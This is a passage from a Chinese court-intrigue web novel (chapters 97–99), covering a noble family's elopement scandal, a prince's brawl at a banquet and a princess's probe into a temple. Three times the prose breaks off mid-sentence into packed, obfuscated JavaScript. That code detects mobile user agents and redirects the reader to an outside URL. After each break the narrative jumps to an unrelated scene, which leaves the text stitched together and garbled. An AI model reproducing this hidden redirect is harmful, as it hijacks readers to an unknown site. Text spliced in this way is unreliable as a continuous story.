楼复急着要辩解什么,却被郇三娘狠狠拽住。她的一张脸已经红得滴血,垂首认罪的模样与刑部大牢中熬不住酷刑无奈招供以求解脱的死囚一般无二。 申不极这下知道无论他再说些什么都回天乏术。郇寰明明可以问一句“楼公子此行何为”或者“楼公子迷路迷得厉害”然后让人把楼复拖走,只要没有走漏风声,大家还是可以维持表面上的一团和气。但郇寰直接一棒子打死,是不想善了了。 最终,在郇寰要处置郇三娘和楼复这对“奸夫□□”时,楼复小心挣脱了郇三娘的手,一掀衣摆朝郇寰双膝下跪。 97. 第九十七章 糟心事 “楼公子您这是做什么?郇某可当不起您这一跪,夭寿。” 楼复高声道:“长兄为父,郇侯当得起这一跪,还望您准允我与毓儿的婚事。” 话落,四下静寂,唯有屋外郇寰预先布置的人手巡逻四周、控制闲杂人等的响动,隔着门板传来,遥远得仿佛在幻梦的尽头。郇三娘的眼泪已经滚落脸颊,无声抽泣。申不极知道接下来的事情不是他能听的,识相地给郇寰搬来了一只凳子,自己退出屋子守到门外。 郇寰落坐,语带质疑:“你家长辈点头了?” 楼复抿唇。 郇寰嗤笑:“那就是私奔了。” 这个词的刺耳程度,对郇三娘来说无异于将她扒光衣服扔到朱雀大街上千人看万人瞧;对襄阳侯郇寰来说,也如同一记响亮的巴掌扇在了他这个一家之主、一族之宗的脸上。 郇寰觉得有些话他必须说明白了,哪怕这些道理楼复明白,郇三娘也明白,但他们还要为这流沙垒城般的爱情飞蛾扑火:“名不正言不顺,对你,楼家的贵公子来说,不过是桩风流韵事,等你们过够了贫贱日子,新鲜劲儿都过了,你浪子回头还能当你们楼家的宝贝疙瘩,接受荫封,娶妻生子,郇毓就只有被打死、被沉江的下场;楼二公子您今年贵庚?总有二十了吧,可有功名在身?可有家财在傍?除了会打几场马球,楼家断了你的零花,你们两口子将来难不成靠郇毓的嫁妆过活?” “楼公子,你究竟是喝了几坛子的酒才能说出这样的混话?没有父母之命媒妁之言,你们就见不得光!你甘心一辈子堕落平平无奇,郇毓从小过的就是耗子般东躲西藏小心翼翼的日子,你让她的余生都要在旁人的白眼唾弃中度过吗?你有退路,但她没有,你扪心自问,你能担起照顾她余生的责任吗?” 郇三娘忍不住叫道:“大哥!不要说了!” 郇寰冷电般的目光即刻射来,“郇毓,我知道你自幼和你姨娘过得艰难,郇家对你们并无恩义,我也不指望你能记郇家的生养之恩、为你姊妹的婚姻着想,你们的事情也影响不到我的官声,我只尽为人兄长最后一点仁义,提醒你一句:你可得想清楚了。” 郇三娘支应不住跪在了楼复身边,倚着他的肩膀泣泪不已。 就凭她在襄阳侯府过的这些年,郇三娘听得出郇寰说的都是反话。 正室原配萧夫人虽然不是可亲之人,但对她和她的姨娘还是很厚道的,她一个庶女的吃穿用度与族中其他嫡女无二;继室续弦柳夫人远不如萧夫人仁厚慈善,但老侯爷还在,她和她的姨娘还能过像样的日子;老侯爷死后,因着姨娘无意知道了柳夫人的一些秘密,她要置她们于死地,但那时郇寰已有了功名官位,在一众不成器的郇家子弟中脱颖而出,在族中很说得上话,在府中也常常护着她和姨娘,即便姨娘还是死了,她一个无依无靠的庶女在偌大的襄阳侯府中还是能稍微体面地活下去;等到兖国公主下降,整个侯府都落入了他们夫妇手中,郇寰对她不错不必多说,公主嫂嫂也很护她,替她瞒下了那么多事。 她还必须承认,她的婚事是郇寰亲自掌过眼、用过心的。公侯府里的小姐,大多是逃不过联姻的命运,若只为了利益,她或许刚一及笄就会被送给某些大员当续弦、或者嫁给一些出身显赫、自身废物的纨绔受一辈子的气。她和郇寰从小不亲厚,郇寰一直都很看不上她畏畏缩缩的性子,但在婚事上还能多为她的未来考虑一分,她非常感激。 郇七郎和郇八娘虽然是柳夫人的儿女,但却从未欺侮过她半分,郇寰的官声也会因为自己的一意孤行而备受拖累。若郇寰几乎就等于郇家,那何止是养育之恩值得她铭记报答,何止是姊妹名声值得她细心呵护,还有她未来不知多少年的再造之义!更兼她刻意勾引楼复谋害柳氏以报杀母之仇,已经连累郇寰丁内艰不知耽误了他多少事,她和楼复之事又引得公主嫂嫂和他在外人面前颜面扫地…… 郇三娘从未想过楼复竟然在见过自己的歹毒面目之后还能旧情不改,她知道今日府宴是多么要紧的日子,可在楼复悄悄央人递消息过来后,她还是决定见他最后一面。他们的会面会被郇寰知道,她也猜想过郇寰最终会说出怎样伤他的话让他彻底断了不值当的念想、清醒地与自己一刀两断,她也预见得到,事到如今,她若不和楼复走,郇家必然容不下她了。她会死,如果她的死能让郇寰他们彻底省心、让楼复这个真心待她的人平安美满的话,她求之不得。 楼复不知道她在想什么,她也不知道楼复在想什么。 他当真是醉得不省人事。在乔致用为了一个娼妓与家族闹掰的旧事第不知多少次被街头巷尾的凡夫俗子传唱,早已相思入骨的他终于受不了这样的折磨,冲动之下起了私奔这样卑劣的念头。他如何不知道一旦败露,郇毓会有怎样的下场,他又没有乔致用的本事,但他只想着让自己最后畅快一回、自私一回、圆满一回,逼着自己只去幻想那畅快自私圆满的将来,而不顾其他。 他本就输过郇海山一回,现如今,在他面前,他楼复已经成为彻头彻尾的渣宰。 看着眼前灰败的人,郇寰又想到自己头一回见楼复。那时阳春布德泽,芳林门外马场的草都没有长齐,他手头上还压着年初的漕运案和宣国公主面首案,但马球会开了,他调来调去还是挤了半天的光景,捡起弃置多年的纨绔秉性,去招惹正在招驸马的长平公主沈明枳。 他还没见到公主,就见到了意气风发的楼复。鲜衣怒马,就是他当年不怕天、不畏地、神佛不信、道义不笃、人伦法德皆齑粉的模样。他这个早已过气的纨绔头头也自然不在他眼中,听见旁人说他郇寰当年也是投壶赌钱打马球的一把好手,他才将将乜斜一眼。 现在就算是正眼看他也不得了。 郇寰内心止不住地嗤笑。 他看得出楼复心思不歪、本性不坏,甚至还有几分接近愚蠢的天真。但他勾搭三娘的初衷,未必不是想报复自己。结果,假戏真做,真的陷了进去。 这恐怖的情爱。 ** 郇七郎等人都走远,方才忙忙往三春堂赶,但路过迎晖园时听见里面有一声闷闷的响动,禁不住好奇就探头往假山石后张望了一眼,就见一蓝衣年轻人跌坐在嶙峋的石头间,下摆被石棱刮出了一大条裂口,龇牙咧嘴面目扭曲,姿态不甚雅观,想来摔得不轻。 郇七郎小时候也在这里摔过一跤,骨头都断了,现在仍有余悸,故而他即刻抛下去三春堂的打算,半途折来援助这个倒霉鬼,喊了人要把他抬到厢房请大夫医治,奈何这年轻人死活不肯,硬是说自己无碍,硬是自己一脚深一脚崴地走了起来。 但他不识路,茫然地在迎晖园里艰难地绕了半天也找不到出口,最后还是被郇七郎扛走了,几番权衡之后,体谅到这年轻人的死要面子活受罪,便将他扛到了离这儿不远的自己曾住过的寂静的院落去。 等书童汗牛为他简单处理了下擦伤,郇七郎按住他检查过他确实没有伤筋动骨,这才翻箱倒柜地纠结地将自己带过来的一套宝石蓝长衫抱了出来,让他换上。 这是嫂嫂命人特意为他做的新春衫,他还一次也没穿过。 冉琢明看他可怜兮兮的模样,手上捧着这件衣裳穿也不是不穿也不是,觉得吃了苦头的人不是自己而是他,斟酌着字眼打算婉拒这番好意,却见他下定了决心利落地关门出去了,心中发笑。等他收拾好衣裳推门而出时,却见一直立在门口的郇七郎像踩了钉子,正一脸焦急地冲了出去,留下书童与自己两相尴尬地打招呼,院外那细微的响动此时都分外清晰。 他道谢,汗牛笑问:“不知阁下是?” “在下冉普,字琢明。” 汗牛知道新科探花冉琢明,笑得无比灿烂,连忙再行了一个更盛大的揖礼,报了郇七郎的名头验证了冉琢明的猜想,按照郇七郎走前的吩咐引冉琢明一路往三春堂走。 郇七郎长得与郇寰有那么几分相像,但性子却这样截然相反。冉琢明笑想着,抱着自己的衣裳打算就此告辞,推拒了汗牛的再三挽留,汗牛只得亲自引他先从偏门走。现在这个点冉琢明若从正门离开,无异于是在打主人家的脸,汗牛感念冉琢明的理解,但走着走着,汗牛却忽然变了说笑的轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048856|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松脸色,抓住尚未反应过来的冉琢明调头就走,连连低说着“失礼失礼”。 “这是怎么了?”冉琢明一头雾水,略高的语调登时惊动了偏门前把守的私卫,随后就有兵刃贴上两人的脖子。 汗牛连叫道:“且慢且慢!误会误会!” 郇寰自偏门外走回,一眼就看见了汗牛身边的冉琢明,立即让人放了他们,但面色却说不上亲切,汗牛腿一软跪了下来开始解释,留冉琢明木然地立在原地。 再三小心确定他们没有看见楼复之后,郇寰这才饶过了汗流浃背的汗牛,客气地留冉琢明寒暄片刻,盘算着等押着楼复的马车彻底无影无踪后亲自送他出门。 汗牛知道自己差点闯祸了,只低着头不敢看郇寰的脸色。七郎听见隔壁院子有动静,就吩咐他看好了冉探花送他回三春堂,不要在附近逗留,更没准许他带着冉探花从偏门溜走。他自作主张有负七郎嘱托、又差点坏了侯爷的事…… 郇寰没工夫纠汗牛的错,只将他扔给了安慰完郇三娘慌忙跑来的郇七郎,甩手去三春堂的席面和年轻人觥筹交错,又让冬至亲自去给纠缠于后宅女人之中心力交瘁的沈明枳报个信。 沈明枳正和长英亲亲热热地说着朝中的年轻才俊,忽而听月珰来报说是何家四姑娘想求见。辛莘和临川收到了沈明枳的眼色,勉为其难地拉长英出了小厅要往三春堂那里去看美男子,闹得欢腾的郇八娘刚一回来就被辛莘拐走,嘴里还嚷嚷着有新鲜事要和公主嫂嫂说。 沈明枳开宴前见过何施雅,但彼时端的是长辈小辈的礼,此时端的是君臣的礼。 何施雅一上来就感谢沈明枳为她找到了手串,不禁让沈明枳挑眉。一惊这手串就是何家人的,二惊这分明是郇寰移交寺院怎么她却成为恩公了,三惊她就要离那可怕的真相更进一步。 她感觉自己的一颗心都快跳了出来,艰难地稳住表面上的从容,笑问她原委。这小姑娘竟然毫不防备就将偶遇郇寰后的一番话七七八八地复述了一遍,末了她道:“那手串于施雅意义非凡,故而施雅觉得还是有必要亲自来谢过公主,还望公主莫怪施雅鲁莽打扰。” 沈明枳攥着手笑得慈爱:“当然不会了,本宫很乐意你们来说说话,咦,怎不见你今日戴它?本宫觉得那珠子着实精美,不知那珠子何处可寻得?” 何施雅很高兴能顺势道出珠子的由来:“回公主,那珠子是家兄用红丝木亲自为臣女磨的,又去彩云城的神女庙中开过光,可助寻得如意郎君、并蒂美满。” 沈明枳呼吸一窒,恨不得立刻派人去那什劳子彩云城的什劳子神女庙,强装镇定,滤过什么“红丝木”的谎话和正常人对何家儿郎几声虚伪的赞美,只揪着何施雅话中最深一层意蕴,一步一步地要将话题往她暗藏的动机上引:“看来何姑娘是已经找到如意郎君了?” 何施雅害羞地低头默认,听沈明枳笑侃问:“看来这神女庙真灵验?” 何施雅咬唇点头,两颊上的绯红实如天边彩云,让本就娉娉袅袅的芳华女子更添妩媚。随后,在沈明枳饱含笑意的目光下,何施雅将彩云神女庙的灵验狠狠地夸了一番,说是他们族中一对夫妇多年无子,辛苦耕耘求神拜佛花了不少金银都没有结果,最后去庙中拜了一趟,回家不久妻子就怀了身孕,生下了一对龙凤胎;还有一位在家中备受宠爱但相貌寡陋的小姐,家中给说了不知多少亲事最终都因为这样那样的原因黄了,二十好几还未出阁,受不住流言蜚语几欲寻死,最终被家人拖到神女庙拜了拜,下山途中就和一个年轻俊朗的外地来的公子一见钟情,第二天那公子就托人上门提亲成了好事。 沈明枳笑容很妥帖,但眼神却是冷了几分,不过何施雅正沉浸其中无法自拔,更不注意不到沈明枳这细微得连郇寰都未必能看出来的变化,说得高兴,冷不妨月珰失礼地闯了回来,打断了美梦黄粱。 沈明枳淡淡瞥了一眼何施雅问她:“怎么了?慌慌张张的成何体统?” 月珰看了一眼何施雅,小心道:“殿下,秦王和人打起来了。” 沈明枳藏在袖中的拳头再一紧。 98. 第九十八章 威胁他 秦王老九其实不想在襄阳侯府动手的,奈何家邹家这厮嘴巴太欠,就看准了他不愿意给兖国公主惹麻烦,什么脏话荤话都说得出来,骂他是没关系的,但这厮事事都往介含清身上扯,连他与介含清有分桃之嫌都说了出来。 那就怪不得他的拳头不留情面。 “住手!”沈明枳心口急促地起伏着,那一双向来有三分温柔七分疏远的眼睛此时竟在喷火,旁人都当她是生气有人坏她席面下她面子,只有她知道,她是恨极了这些人在这样真相大白的关键时候打断她。 老九的拳头已经架得老高,被沈明枳的怒视震慑住后悻悻地松了手,一把将邹文运摔到了石子地上,甩甩拳头,被飞驰而来劝架的晋王沈明戒拦到了一边,就留下一番哭抢之中骂骂咧咧不休不止的邹文运躺在地上起不来身。 这难得的几息死寂后,人声重新鼎沸,因为老九又听见邹文运骂了一声“狗娘养的介含清”,几乎就要将沈明戒的控制挣脱。沈明戒的身量已经与老九不相上下,更兼他常年习武,比老九流连花丛强壮上不知多少,但这一刻却发现他惯常游戏花丛的九哥竟然会迸发出这样惊人的力量,即将将他撂倒在地,幸亏及时赶来的郇寰和一边看热闹的寇一爵一把把秦王按了下去。 人越聚越多,但场面越来越静。光一个干惯了抄家灭门腥风血雨的刑部活阎罗就足有震慑力了,再加上面色不善的兖国公主,在场诸位听过南巡钦差一夜之间将南海道布政司屠戮殆尽的传闻的,无不脊梁生寒,只觉得神仙打架都没意思了,只求快快了结、他们能快快回家。 少年时代上赶着寻衅滋事的申不极从未想过,将来有一天他会变成一堆炮仗中息事宁人的那个。 “散了吧散了吧,散了吧散了吧。” 老九很久没有喝到沈明枳亲自给他沏的茶了,茶是好茶,但人不是好人,老九怎么也喝不下去。 “妹妹我的席面,可不是这么好砸的。”沈明枳自饮一杯。 老九一腿曲起支着膝盖,一腿盘曲搭着手肘,靠在上首正细细地想着如何给远在都察院的介含清一个交代,冷不防和沈明枳三分玩味七分威慑的眼神对上,捻了捻手指缝里没洗干净的泥,放下腿端正地坐了起来,“那你说吧,要我怎么赔你才高兴?” 沈明枳再给自己续上一杯,“我自然怎样都不会高兴。” 老九抽了抽嘴角,眼皮一跳:“你想怎样?玩儿我玩儿的还不够?” 沈明枳挑眉:“九哥你这是什么话?” 老九反手倒了杯中剩下的茶,夺过桌上的壶给自己倒了起来,漫出杯子也不收手,直倒得满桌子都是茶水,“我和介家的事情难道不是你传出去的?” “事实而已,何须旁人宣扬?” 老九冷笑:“你倒不否认。” 沈明枳斜过脑袋瞥他一眼:“介含清告诉你的吧。” 老九目光一凝。他撺掇晋王去走务本门本就是奔着介含清去的,一时乐上头说话没有轻重,事后介含清已经警告过他了,他也做好了事情叫沈明枳知道后被教训的准备,后来好一段日子他都本本分分勤勤恳恳,连父皇都“夸”他是浪子回头,几个兄弟见他都下意识地看看日头。 沈明枳露出一个温和的笑:“你嘴欠,玩上头之后说话不过脑,不过你虚心好学,介含清多教你几次,还能教学相长。” 她说的分明是他早就有底的大实话,但配着这瘆人又别有意味的笑容,老九总觉得沈明枳这回是真动怒了,在隐喻他有拉帮结派夺储的用心。但介含清背后是柳曦既,她下得了手? “别紧张。”沈明枳收回目光,听着外面的脚步声笑道:“出了孝你若是没娶到介家姑娘,可就不好收场了。” 老九猛地一抬眼。她应该猜到了,自己与介含清的往来绝对不是冲着他那待字闺中的妹妹去的。他和介含清对此事都极其谨慎,不到万不得已的地步是绝对不会把介家妹妹推出来顶缸,他和介含清不要名声、不要脸面,但介妹妹还是要嫁个好人家、过上好日子的。自从沈明枳大摇大摆地指使人开他与介妹妹的玩笑,从前没发现的、不敢说的、不相信的都站出来踩上一脚,事情再发酵下去赵王、吴王还没相斗就要一起不管三七二十一来处理自己。 沈明枳念东宫的旧情,是绝对不会做出对柳曦既不利的事情;介含清是柳曦既一手提拔的心腹,伤了介含清无异于威胁柳曦既。但她明知山有虎,偏偏要推他们往虎山行,倒未必想留下他们的命,可能只是想扒下一层皮,但究竟是扒皮还是留命,都得看他和介含清怎么选。 老九凝神苦思。 他和介含清身上还有什么是值得她这么惦念的? 他是一个草包入不了她的眼,介含清在都察院的势力她又看不上,那就只剩下…… 沈明伐肃然问道:“我面前现在坐着的,是我的十妹妹兖国公主?还是郇家的好夫人兖国公主?” 沈明枳微微一笑:“都是鹇儿啊,九哥分得这么清干嘛呢?” 沈明伐顿了顿再问:“你会伤害他吗?” 沈明枳定定注视他几息,“我会伤他,但不会害他。” 沈明伐的手指轻轻叩着桌面,一声一声直要叩到人心中去。等叩了不知多少下,敞开的门外出现了郇寰的影子,沈明伐终于收了手:“成,会如你所愿的。” “如谁所愿?”郇寰朗声笑着走入,打破屋内这诡异的气氛。 沈明枳和老九都起身,见跟郇寰而来的还有梅老四,再望一眼,梅如故由郇七郎引着也走了进来,空旷的屋内顿时有些拥挤。 沈明枳朝他们一一颔首示礼,不忘将老九的话圆过来:“自然是如我的愿,他今日坏了我们家的席面,下回可不得连本带息地赔回来?” 老九干笑两声,面上装出来的表情仿佛要骂却又不敢骂,极其憋屈,遥遥与诸人见过礼就要告辞,叫沈明枳拦了拦:“你方才闯了祸,难道不先回宫向父皇告罪?还等着都察院的御史们参你一本?” 老九和梅老四对视一眼,连声嘴硬:“我就是要回宫去的鹇儿你别催了,到时候跑不了的定要赔你的,还用不着到父皇面前见证……” 郇寰和梅如故都笑了,沈明枳笑问梅依径怎么散宴了才来,梅如故很自豪地嫌弃:“我家里头不太平这是全化隆的人都知道的事,他还巴巴地要来演兄友弟恭。” 梅依径笑得很尴尬。 郇寰很艳羡地接话茬为梅家那岌岌可危的兄弟情谊吹捧一番,那真诚的,仿佛前些日子背后说人家宅不宁的那个长舌夫绝对不是他一样。 沈明枳僵着脸将这些人面兽心的假活佛们送出大门。等所有车马都在襄阳侯府前的长街中绝尘,等没有人再管主人家的事情都去忙着收拾杯盘狼藉,等太阳终于落到西山之下暮色四起,郇寰收拾过一身的酒气,别下了正用过饭要和长兄叙说这一整天的趣事要闻的七郎、八娘,在府中转了好几圈,和前来传信的赵王府小厮嘱咐了好几回,才掐着点拐到了厢房。 沈明枳刚沐浴完,正由月珰给她梳头,捧着一本杂记愣愣出神,那一页纸她足足看了半个时辰,等月珰悄无声息地退下去、郇寰接过梳子抚上她的头发,沈明枳才如梦初醒。 “看什么这么入神?”郇寰梳着她的头发从镜子中看向她。 沈明枳合上书,挑拣了今日的记忆,开口问道:“你今天见过何施雅了?” 她的口气着实不像是吃醋,反倒像来看戏的。他将事情都推到沈明枳身上,还那样说,就是不想让何施雅再跑到沈明枳面前作妖,看来何施雅不仅来了,还说了不少让沈明枳光火的话,“她特意去烦你了?” 沈明枳挑眉:“没有。” 郇寰纳罕。 “反倒帮了我们大忙。” 郇寰刻意又凑得近了些,就差伏在她肩膀上,听她的声音悠悠传来:“僭越一案查得怎么样了?” 郇寰没想到她忽然问这个:“就那样吧,岑家和都察院的人不开口,怕是不会有实际性的进展。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳曦既谢过管家,自己上楼入室选了位子坐下,等梅如故吹够了初夏晚风拢着领口回到室内,自斟了一杯热茶,闻着屋内弥散着的药味,柳曦既淡淡问道:“你旧病犯了?” 梅如故捡了钳子拨弄炉中炭火,绑了袖子继续烧水,伴着炉子上噗噗翻腾的开水声,他在水汽氤氲中笑道:“唉,也就你还关心关心我了——这都是积年的老毛病了。” 柳曦既刻意忽略他话中的牢骚意味,但梅如故如何肯放过他,硬是要让柳曦既的耳朵也遭回罪:“不是我说,真的是人心不古人心不古!”他将钳子轻轻摔回原位,捞起架子上的一块抹布擦了几下手,拍着自己的大腿义愤填膺:“亏她以前遇着难题还喊过我几声‘先生’,我就向她借几个人,她就把我关门外吃凉风!真是白眼狼白眼狼!” 柳曦既掀了眼皮,放下手中的茶盏,“专心”欣赏梅如故的表演,逼真得仿佛兖国公主真的是狼心狗肺不尊师重道礼让亲长的宵小。 “你要多少人?” 梅如故伸出自己拢在袖子中又细又长的手指一比。 柳曦既看他左手全都张开了,“五人?” 梅如故瞪他一眼再朝空气推了两把。 “五十人?” 梅如故啧地一声表示不满,等柳曦既再猜上最后一次:“五百人。” 梅如故满意地收了手,开始捏了抹布将水壶提离了炉子,听柳曦既冷冷道:“你当钱都是天上掉下来的?” 梅如故边泡茶边笑答:“她的钱可不就是‘天上’掉下来的?” 柳曦既不知道故太子他们给了沈明枳多少,但这么些年兖国公主府豢养了这么多精锐的暗卫,这开销绝对不是普通一个公主能够承担的,就从梅如故和他吹嘘的冰山一角来看,这支暗卫完全可以媲美诸王亲卫和十二亲军卫中的某些军卫。 柳曦既凝眉再道:“你要这么多人干什么?” 梅如故摆摆手,“这你就不用管了我自有分寸。” “她给了你多少?” 99. 第九十九章 发牢骚 “八十。” 柳曦既挑眉:“不少了。” 梅如故摇头:“她最好一个也别留在身边,就仗着自己有点人就敢胡来,老老实实在府里混吃不挺好,净惹麻烦了。” 柳曦既知道梅如故指的是逆王宫变那回和现下僭越案。 逆王宫变前梅如故就借了不少暗卫去清查田亩,卖了窦宙和他多年的交情托付窦宇早早在圣上身边加派人手,还嘱咐沈明枳哪里也不要去,有事找他柳曦既;结果呢,沈明枳带了十几暗卫去赴宫宴,暗卫全留在宫外她一个人去给逆王送死,若不是他下衙时撞见她和郇寰入宫,立刻通知了窦宇见宫中大火三刻行动,只怕现在天下尽入魏王囊中,他们都成了刀下亡魂。 至于现在的僭越案,柳曦既十分头疼。也不知道沈明枳怎么说动了介含清,他竟然敢背着自己把当年的案子重新调了出来,还将案情细节交到了郇海山手上,若不是他早就让高穿楼死盯此事,恐怕等他这个左都御史知道,都察院都已经变天了。 不过梅如故说她“净惹麻烦”也带有主观抱怨。若鸿胪寺的火没烧起来或烧得不够旺,宫外守株待兔的窦宇看不到,又若他安排在宫中的暗桩没能及时把消息传递出来或韦不决决定一条道走到黑,结局可想而知;而僭越一事,沈明枳是已经从郇海山处得到准信,赵王派绝对不会在台面上撕破脸和吴王争取西南氏族,僭越一案只是赵王恩威并施之中的威胁,再加上高穿楼和介含清都是他的人,离心离德也全在他的掌控之内,沈明枳是笃定此事不会危害到他的安全。 柳曦既砸一口他递过来的茶,但热茶丝毫不能温暖柳曦既冰冷的口吻:“你嫌什么麻烦。” 梅如故知道自己惹到他。这些麻烦和他八竿子打不到:逆王宫变那夜在都察院坐立难安的是柳曦既,调和高、介两人心力交瘁的是柳曦既,每天为僭越案衣带渐宽的还是他柳曦既。 梅如故觉得他有袒护沈明枳的嫌疑,但他毫不怀疑他再废话下去柳曦既绝对不会袒护自己。于是他笑着打岔,叠着手臂撑在桌上岔回原题:“话说,您老人家大晚上不回家睡觉跑我这儿有何贵干?” 柳曦既轻轻放下茶盏,抬头用一双深潭般的眼睛看他,梅如故瞬时有如坠冰窟的感觉,“我听说梅侍郎派人去赵王封地了。” 梅如故眼角一跳,坐直了身子笑问:“你怎么知道的?莫非柳大人也时刻注意着赵王的动向?” “公主府的人说的。” 梅如故眉头一跳:“还说什么了吗?” 柳曦既垂眼摆弄茶盖,淡淡扯唇:“她不是借你了八十人吗?” 梅如故霎时明白柳曦既是在诈他。僭越案对赵王派有极大的好处,本着平衡协调的原则,柳曦既猜他必然会想办法打压赵王派。上回清查田亩时他用廉正坑了魏王一把,放了赵王一马,现在时机一到,没理由他梅如故会如故地对赵王派的把柄置之不理。但打草惊蛇,经过上一回魏王的教训,赵王派必然更加谨慎,并趁着魏王挡枪将痕迹处理得更加干净,他现在想再将赵王埋在田里的烂账挖出来,风险极大,若无兖国公主的暗卫保驾护航,恐怕难以善了。 梅如故不生气,反而请教他:“柳大人有什么高见?” “没什么高见。” 梅如故的眉毛飞得老高:“那柳大人今夜来不会就是和梅某人喝茶聊天的吧?” 柳曦既敛神沉默少许,斟酌了片刻还是道:“有何不可。” 梅如故觉得自己见鬼了,站起来在柳曦既身边晃了又晃,围着端坐得整齐的他看了又看,确定这如假包换就是那个惜时如命的柳晢后,摸了摸下巴上的胡茬,自言自语道:“不应该啊,八百年没见你发过病,莫非今天的日头从西边起来的?” 柳曦既耐心听他的病中狂言,觉得自己可能真有点病了,小事大事都找上梅如故这个不靠谱的,再喝了两盏茶,神智恢复清明后将最近都察院与户部联办的那个漕运案细节再与他对了一趟,便在梅如故的“真心”挽留之下打道回府。 夜中的化隆城如昼喧哗,但柳府比较偏,没拐几次附近的街道上就人影稀疏,孤独地行着他一辆马车,在伶仃的木石细语之中茕茕孑立。忽而一阵铎铃撞、车轮碾的巨响从前路传来,惊得他从半眠半醒之中抽离出来,抹去额角沁出的薄汗,重新在脑海中处理起白天未完的公务。 “是柳大人吗?” 柳曦既一愣,挑起帘子露出车外火光冲天的一角世界,就见宝马香车前的宫灯之上一个大大的“赵”,随后就看见长英公主探出车窗娇俏的一张脸。 柳曦既半分没有怠慢,与她遥遥见礼,谁知长英公主笑着缩了回去,将被挡在她身后的一个人露了出来,三分温和七分凉在她不露齿的含笑之中晕染出无尽的皇家肃穆。他在云破月来的刹那之间收敛起眸中诧异,比着对长英公主的礼向沈明枳问好。 沈明枳没有说话,但纵着长英公主与他这个外臣搭话的样子极其温柔。想来是她们都喝了酒的缘故,长英公主的话更多了,她的话更少了,同样两颊微酡,但一个是热的,一个却是冷的。 等长英公主听完他给出的自己大晚上不回家的理由后,笑着趴在窗沿,歪头对沈明枳嗔道:“十姐姐瞧,柳大人还是会赴别人的约的!根本不是那样不通情理的人。” 沈明枳抬眼望向柳曦既笑笑。 长英的眼睛极亮,像是舀了一勺的星河流淌,继续盯向柳曦既道:“那我明年在宫外做生日,柳大人会来的吧?” 柳曦既一怔,没想过会遇到这样赤裸裸的问题,还没等他将委婉谢绝的话说出,就见沈明枳抬手揉上长英公主额头与发的交界,拇指在她沁汗的额角上刮着,脸上笑容温度不减,“你这丫头,喝高了就四处撒酒疯——”她又抬头,一边将长英拉了回去,一边向他致歉:“还望柳大人见谅,夜深风大,我们就不打搅柳大人了——月珰,我们继续走。” ** 临川做生日,沈明枳带上了郇家兄妹。往年临川总喜欢在正经的宴后开展些见不得人的活动,因此沈明枳总要先让人送郇家兄妹回去,以免他们被带坏了,今年有凌云重看着她什么也不敢干,早早收拾了席面回家去了。但郇家兄妹还是被沈明枳早早送回府了。 因为辛莘在处理完申国公府一家子上下的琐事喜事后,决定犒劳犒劳自己。 沈明枳看着和醉醺醺的辛莘滚到一处“只羡鸳鸯不羡仙”的年轻躯体,眼皮跳个不停,将正眨巴着纯净无暇大眼睛的、好奇地看着帷幔凌乱之中越脱越光的人影的长英一把推出了包间,“啪”地一声摔上房门,然后在关不住的淫词浪语要追上她们之前,将长英带下了楼梯。 她就是在像长英这样的年纪里,活生生被临川腐蚀的,以至于在所有未婚女子都期待的洞房花烛夜时,对郇寰颇有微词。 沈明枳瞥了眼正红着脸步伐轻盈的长英。 长英从小就是赵王妃窦晴柔抱过去养的。窦晴柔是气极了宣国、长宁这两个无时无刻不在作死的小姑子,发誓绝对不能让长英也被寇妃养成这些个鬼模样给自己添乱。等到皇后去世,窦晴柔才将业已长成的长英重新送回宫中,送到圣上面前尽孝。长英也不负所托,极得圣心、宫中上下的欢心,常常有人说她很像自己。这也就间接导致了,长英和寇妃、一母所生的两个姐姐不亲近,却很乐意跟到她沈明枳身后,一时亲热模样恍若她们才是亲生的姐妹。 临川、辛莘都不喜欢宣国、长宁,对颇为懂事的长英却很客气,但又谈不上喜欢。沈明枳原来对她的态度也是如此。 沈明枳喝完解酒汤,细细想,应当是从崔嫣口中得到了确切的答案后吧,长英在自己眼里变了个模样,冷不防被轻轻走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳曦既望向沈明枳,见她眼里的算计、惊慌、失望、混乱都沉入眼底,“公主认得此物?” 沈明枳不隐瞒这碎布的由来。她府中豢养的暗卫中,指挥所穿的衣袍的内称就用这样纹路的布料做成。一个多月前她派出一队暗卫由副指挥亲率前往西南彩云暗查神女庙的底细,但神女庙中的大鱼太过警惕,制造混乱乘机出逃,激战之中损失了几名暗卫,副指挥也负伤,不得不兵分两路,一路蛰伏彩云以求补过,一路追击以求大鱼落网。 但她不打算吐露自己真实的目的。 彩云是西南氏族的地盘,她派人潜入探查表面上无非也是为了利益,从赵王派的立场出发,她能掌握西南氏族越多把柄对他们在与吴王的较量中越有利。她唯望柳曦既是这么认为的,或者说不爱多管闲事的柳曦既能够这么去认为。 柳曦既沉默地将镇纸挪开,将这张纸递到沈明枳眼前,“臣或许能助殿下一臂之力。” 沈明枳颤着指尖接过那张纸,就见一个越族老头正传神地显现其上。 柳曦既清冷的声音从对面传来:“这是常驻彩云神女庙的巽山道人,不久前失踪,前日出现在杭州,他应该就是殿下一直在找的人。” 沈明枳倏然抬头,“柳大人怎么知道。” 